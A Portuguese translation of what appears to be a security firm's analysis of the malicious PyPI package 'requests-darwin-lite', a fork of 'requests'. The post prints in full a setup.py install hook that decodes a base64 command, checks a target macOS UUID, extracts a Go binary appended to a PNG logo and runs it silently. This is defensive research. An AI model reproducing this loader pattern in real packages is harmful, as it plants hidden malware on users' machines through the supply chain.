Binário Go malicioso entregue via esteganografia em PyPI
Em 10 de maio de 2024, a plataforma automatizada de detecção de riscos da Phylum nos alertou sobre uma publicação suspeita no PyPI.
O pacote foi chamado requests-darwin-lite
e parecia ser uma bifurcação do sempre popular requests
pacote com algumas diferenças importantes, mais notavelmente a inclusão de um binário Go malicioso compactado em uma versão grande do requests
logotipo PNG da barra lateral real, que o autor pretendia ser.
O ataque
Como mencionado anteriormente, este pacote é um fork requests
que usa um setuptools
atributo chamado
cmdclass
que permite ao autor personalizar diversas ações durante a instalação do pacote. No caso de requests
, cmdclass
é empregado para personalizar como os testes são executados quando executados especificamente usando comandos de configuração. Eles implementaram testes paralelizados para otimizar o desempenho com base no número de núcleos de CPU disponíveis na máquina, aumentando a eficiência dos testes durante o desenvolvimento. Vamos dar uma olhada rápida em uma parte do arquivo requests
legítimo setup.py
:
# --- CLIPPED ---
class PyTest(TestCommand):
user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]
def initialize_options(self):
TestCommand.initialize_options(self)
try:
from multiprocessing import cpu_count
self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
except (ImportError, NotImplementedError):
self.pytest_args = ["-n", "1", "--boxed"]
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
import pytest
errno = pytest.main(self.pytest_args)
sys.exit(errno)
setup(
# --- CLIPPED ---
cmdclass={"test": PyTest},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "<https://requests.readthedocs.io>",
"Source": "<https://github.com/psf/requests>",
},
)
Trecho do arquivo requests
do pacote legítimosetup.py
Podemos ver claramente aqui um uso legítimo para o cmdclass
atributo. Agora vamos dar uma olhada nas mesmas partes do arquivo requests-darwin-lite
do pacote malicioso setup.py
:
# --- CLIPPED ---
class PyInstall(install):
def run(self):
if sys.platform != "darwin":
return
c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
uuid = raw[raw.find(k)+19:raw.find(k)+55]
if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with open(dest, "rb") as fd:
content = fd.read()
offset = 306086
os.makedirs(dest_dir, exist_ok=True)
with open(dest_dir + "output", "wb") as fd:
fd.write(content[offset:])
os.chmod(dest_dir + "output", 0o755)
subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(self)
setup(
# --- CLIPPED ---
cmdclass={
"install" : PyInstall,
"test": PyTest,
},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "<https://requests.readthedocs.io>",
"Source": "<https://github.com/psf/requests>",
},
)
O setup.py
arquivo do requests-darwin-lite
pacote malicioso
Nessa bifurcação maliciosa, o invasor inseriu outro item no cmdclass
dicionário chamado PyInstall
, que foi executado durante a instalação do pacote. Olhando, PyInstall
podemos ver que eles visam especificamente darwin
sistemas , ou macOS. Se este pacote estiver instalado em um sistema macOS, ele decodifica uma string codificada em base64 e a executa como um comando. Essa decodificação base64 ioreg -d2 -c IOPlatformExpertDevice
é então usada para coletar o UUID do sistema. Em seguida, ele executa uma verificação em um UUID específico. Se esta verificação falhar, nada acontece. Em outras palavras, eles procuram uma máquina muito específica para a qual já conhecem o UUID.
O fato de estarem atrás de um UUID específico é interessante e pode ter várias implicações. A primeira e mais óbvia é que este é um ataque altamente direcionado e os invasores já pré-determinaram o sistema alvo e obtiveram seu UUID de alguma outra forma. Por outro lado, podem ser os invasores que estão apenas realizando testes operacionais em sua própria infraestrutura, testando os mecanismos de implantação de malware. Independentemente disso, se for a máquina que procuram, eles leem os dados do arquivo "docs/_static/requests-sidebar-large.png"
.
Isso é interessante porque o requests
pacote legítimo vem com um arquivo semelhante chamado docs/_static/requests-sidebar.png
que pesa cerca de 300kB e é o logotipo real do pacote:
Olhando para a versão “grande” que o invasor enviou com o pacote, vemos que ela tem cerca de 17 MB! “Grande” é um eufemismo para um PNG e altamente suspeito neste contexto. Podemos executá-lo file
e ver se ele é reconhecido como um arquivo PNG:
$ file requests-sidebar-large.png
requests-sidebar-large.png: PNG image data, 1020 x 1308, 8-bit/color RGBA, non-interlaced
No entanto, dado que temos o código-fonte, podemos ver que o invasor lê esse arquivo como dados binários e depois extrai uma parte dele de um deslocamento. Tecnicamente, isto é considerado uma forma de esteganografia. Eles estão ocultando dados – ou, neste caso, simplesmente anexando dados – ao final de um arquivo PNG. Esta forma de esteganografia está longe de ser nova, mas seu sucesso reside na sua simplicidade e no fato de que os dados extras não interferem na renderização normal da imagem. Assim, a imagem parece normal tanto para o software quanto para o usuário final, embora carregue dados adicionais. Depois de extrair os dados ocultos, eles gravam o pedaço em um arquivo local, executam chmod
para torná-lo executável e, finalmente, executam-no silenciosamente com subprocess.Popen
.
Conforme mencionado anteriormente, os dados binários ocultos neste PNG são binários Go. Ainda não fizemos engenharia reversa, mas vários fornecedores do VirusTotal o identificam como OSX/Silver . Silver parece ser uma estrutura C2 emergente que compartilha semelhanças com o Cobalt Strike e é preferida por invasores de todas as capacidades por sua baixa barreira de entrada e menor perfil de detecção devido ao seu status menos conhecido.
É importante notar que as duas primeiras versões publicadas no PyPI (2.27.1 e 2.27.2) tinham o gancho de instalação malicioso com o PNG malicioso compactado em binário. Essas duas versões parecem ter sido retiradas do PyPI pelos autores. As duas segundas versões publicadas (2.28.0 e 2.28.1) tinham o gancho de instalação presente, mas removeram os bits maliciosos dele:
class PyInstall(install):
def run(self):
install.run(self)
O gancho de instalação modificado das requests-darwin-lite
versões posteriores do
A versão 2.28.0 vem com o PNG compactado em binário, embora não pareça ter sido executado na instalação. O autor não retirou isso do PyPI. Finalmente, a versão 2.28.1, a última versão publicada, não continha nem o gancho de instalação malicioso nem o PNG compactado em binário e parecia benigna.
Após a descoberta, relatamos isso imediatamente ao PyPI, e todo o pacote, incluindo todas as versões, foi removido.
Conclusão
Só podemos especular por que o invasor puxou as versões com o gancho de instalação malicioso, mas decidiu deixar uma versão com o PNG malicioso compactado em binário e outra versão benigna. Talvez eles tenham deixado essas versões publicadas apenas o tempo suficiente para infectar seu alvo e depois colocaram o pacote de volta em um estado benigno. Talvez eles tenham deixado a versão com o binário malicioso porque pretendiam depender dele de outro pacote em algum outro momento, ou talvez até mesmo retirá-lo de outro software no futuro. De qualquer forma, temos mais um exemplo de invasores que recorrem a técnicas mais evasivas e complexas para distribuir malware em ecossistemas de código aberto.